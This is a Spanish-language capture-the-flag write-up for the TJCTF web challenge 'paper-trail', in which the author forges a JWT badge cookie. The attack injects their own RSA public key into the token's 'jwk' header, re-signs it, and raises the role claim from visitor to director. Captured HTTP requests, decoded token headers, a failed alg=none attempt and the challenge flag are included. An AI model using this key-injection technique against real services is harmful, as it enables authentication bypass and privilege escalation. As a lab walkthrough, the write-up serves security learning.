paper-trail
Datos del reto
| Campo | Valor |
|---|---|
| CTF | TJCTF |
| Reto | paper-trail |
| Categoría | Web |
| Tags | First Blood |
| Target | https://paper-trail-417325820c409c46.tjc.tf |
| Flag | tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3} |
Descripción del reto
La aplicación generaba un visitor badge en una cookie HttpOnly llamada paper_badge. La ruta /drawer validaba ese token y luego revisaba el claim role. El problema era que el backend aceptaba una clave pública RSA dentro del header del JWT a través de jwk. La idea era modificar el token, inyectar una clave pública en el header que hiciese match, volver a firmarlo y cambiar el rol a director.

Reconocimiento
Lo primero fue hacer check-in normal y capturar el flujo en Burp. Lo importante era el header Set-Cookie, porque el badge era un JWT firmado con RS256.
POST /check-in HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
name=Analyst
HTTP/2 302 Found
Location: /
Server: Werkzeug/3.1.8 Python/3.12.13
Set-Cookie: paper_badge=<visitor JWT>; HttpOnly; Path=/; SameSite=Lax
Content-Length: 189
Al decodificar el badge en Burp se veía así.
{
"alg": "RS256",
"kid": "front-desk-2026",
"typ": "JWT"
}
{
"iss": "paper-trail-office",
"aud": "paper-trail-visitors",
"sub": "832b3672b7fa4ff9",
"name": "Analyst",
"role": "visitor",
"iat": 1778951142,
"nbf": 1778951142,
"exp": 1778954742
}

Mandar el badge original contra /drawer devolvía un fallo normal de autorización. Esto indicaba que el token era válido pero el rol no era suficiente.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<original visitor JWT>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

Análisis
El endpoint público de JWKS mostraba la clave real del front-desk, pero no servía directamente para firmar un token propio porque solo exponía la parte pública.
GET /.well-known/jwks.json HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
HTTP/2 200 OK
Content-Type: application/json
Server: Werkzeug/3.1.8 Python/3.12.13
{
"keys": [{
"alg": "RS256",
"e": "AQAB",
"kid": "front-desk-2026",
"kty": "RSA",
"n": "mkK8mAn8bkTTK5kd41essAtd2RPsaT8R4IWXUD...ViYW_DQ",
"use": "sig"
}]
}

Primero se probó la ruta obvia de alg=none. El servidor lo rechazó, lo que significaba que la verificación de firma estaba activa.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<alg none token>
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The badge reader rejected that badge.</p>
La estrategia terminó siendo alterar el token inyectando una clave pública RSA en el header como jwk y firmarlo con su clave privada correspondiente. Con el rol asignado a staff, la respuesta volvió a ser 403. La firma fue aceptada, simplemente el rol seguía sin ser suficiente.
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=staff>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>
El header del token modificado quedaba así.
{
"alg": "RS256",
"jwk": {
"alg": "RS256",
"e": "AQAB",
"kid": "front-desk-2026",
"kty": "RSA",
"n": "<my RSA modulus>",
"use": "sig"
},
"kid": "front-desk-2026",
"typ": "JWT"
}
Resolución
El flujo completo terminó siendo este.
- Mantener el mismo
jwkembebido en el token. - Cambiar el rol a
directoren el payload. - Volver a firmar el token modificado.
- Mandarlo al servicio para obtener la flag final.
{
"iss": "paper-trail-office",
"aud": "paper-trail-visitors",
"sub": "832b3672b7fa4ff9",
"name": "Analyst",
"role": "director",
"iat": 1778951154,
"nbf": 1778951154,
"exp": 1778954754
}
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=director>
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13
<p class="label">receipt</p>
<code class="flag">tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}</code>

Flag
tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}